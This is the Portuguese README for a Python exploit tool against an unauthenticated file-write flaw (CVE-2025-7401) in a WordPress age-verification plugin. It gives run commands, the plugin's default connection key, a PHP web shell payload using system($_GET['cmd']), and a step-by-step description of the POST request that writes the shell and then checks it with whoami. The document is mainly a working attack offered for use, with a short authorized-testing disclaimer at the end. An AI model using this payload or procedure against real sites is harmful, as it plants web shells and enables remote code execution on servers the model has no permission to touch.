
Premium Age Verification / Restriction para WordPress <= 3.0.2 - Leitura e Escrita Arbitrária de Arquivos sem Autenticação
Premium Age Verification / Restriction for WordPress <= 3.0.2 - Leitura e Escrita Arbitrária de Arquivos não Autenticada
O plugin "Premium Age Verification / Restriction for WordPress" contém um endpoint de suporte remoto insuficientemente protegido em remote_tunnel.php. Nas versões afetadas até e incluindo a 3.0.2, este endpoint pode ser abusado para leitura e escrita arbitrária de arquivos sem autenticação. A exploração bem-sucedida pode expor informações confidenciais ou permitir execução remota de código.
CVE-2025-7401.py# Básico (usa a chave de conexão padrão e o shell PHP padrão)
python CVE-2025-7401.py -u example.com
# Usar HTTPS e chave de conexão personalizada, pular verificação
python CVE-2025-7401.py -u https://target.example -key YOUR_KEY --no-verify
# Payload PHP personalizado (somente testes autorizados)
python CVE-2025-7401.py -u target.com -shell '<?= system($_GET["cmd"]); ?>'
| Flag | Tipo | Padrão | Descrição |
|---|---|---|---|
| -u, --url | string | obrigatório | Domínio alvo ou URL parcial. O script acrescentará o endpoint do plugin quando necessário. Exemplos: example.com, https://example.com, example.com/wp-content/plugins/age-restriction/. |
| -key, --key | string | 330489965d8266a739442ef890f57805 | Chave de conexão usada pelo endpoint de suporte remoto. Substitua para alvos de laboratório, se necessário. |
| -shell, --shell | string | <?= system($_GET["cmd"]); ?> | Trecho PHP a ser injetado como conteúdo do arquivo. Altere apenas para testes autorizados. |
| --no-verify | flag | false | Se presente, o script não realizará a verificação GET opcional do arquivo gravado. |
| Etapa | Ação | Detalhes |
|---|---|---|
| 1 | Normalização de entrada | Aceita entrada do usuário (domínio ou caminho parcial). Garante o esquema (http:// se ausente), remove barras duplicadas e acrescenta /wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php se o endpoint não estiver presente. |
| 2 | Construção de cabeçalhos | Cria cabeçalhos HTTP de solicitação realistas (seleção rotativa de user-agent, Accept, Referer, Content-Type). |
| 3 | Codificação do payload | Codifica em Base64 o trecho PHP fornecido e o coloca em file_content. |
| 4 | Requisição de exploração POST | Envia connection_key, action=save_file, file (caminho do servidor) e file_content para o endpoint normalizado remote_tunnel.php via application/x-www-form-urlencoded. |
| 5 | Análise da resposta | Tenta analisar o JSON do corpo da resposta. Se houver JSON, exibe status e file_path; caso contrário, exibe a resposta bruta limpa. |
| 6 | Verificação (opcional) | Tenta um GET para /wp-content/plugins/age-restriction/modules/remote_support/remote_init.php?cmd=whoami para verificar se o arquivo injetado está acessível e retorna conteúdo. Opcional via --no-verify. |
| 7 | Relatório | Exibe um relatório estruturado e legível, incluindo o endpoint usado, status HTTP, JSON analisado (se houver), URL esperada do shell e saída de verificação truncada (se bem-sucedida). |
| Campo de Saída | Significado | Exemplo |
|---|---|---|
| Endpoint alvo | URL normalizada final contatada (caminho completo para remote_tunnel.php). | http://example.com/wp-content/.../remote_tunnel.php |
| Código de Status HTTP | Código de resposta HTTP da requisição POST. 200 geralmente indica que a requisição foi processada. | 200 |
| Status JSON da resposta | Se o endpoint retornar JSON, o campo status informa sucesso/falha. | valid |
| file_path JSON da resposta | Caminho no lado do servidor retornado pelo endpoint mostrando onde o arquivo foi gravado (informativo). | /var/www/html/wp-content/.../remote_init.php |
| Resposta bruta | Corpo da resposta não JSON (limpo), como avisos ou mensagens do PHP. | Notice: ... |
| URL do shell (esperada) | URL pública onde o arquivo injetado seria acessível. Use apenas para verificação em testes autorizados. | http://example.com/wp-content/.../remote_init.php?cmd=whoami |
| Status HTTP da verificação | Status HTTP da verificação GET opcional. | 200 |
| Corpo da verificação (truncado) | Primeiros N caracteres do corpo da resposta de verificação (útil para ver a saída do comando). | www-data |
remote_tunnel.php./wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php com os parâmetros: action=save_file, file, file_content.remote_init.php.Se você descobrir esta vulnerabilidade em infraestrutura de terceiros:
O uso não autorizado de ferramentas de teste de vulnerabilidades é ilegal em muitas jurisdições. Este repositório e script destinam-se exclusivamente à pesquisa defensiva, testes autorizados e divulgação coordenada de vulnerabilidades. Sempre obtenha permissão explícita por escrito antes de testar sistemas que você não possui.
O autor e os colaboradores não assumem responsabilidade pelo uso indevido das informações ou ferramentas. Use este material apenas dentro dos limites legais e éticos.
Por: Nxploited ( Khaled Alenazi )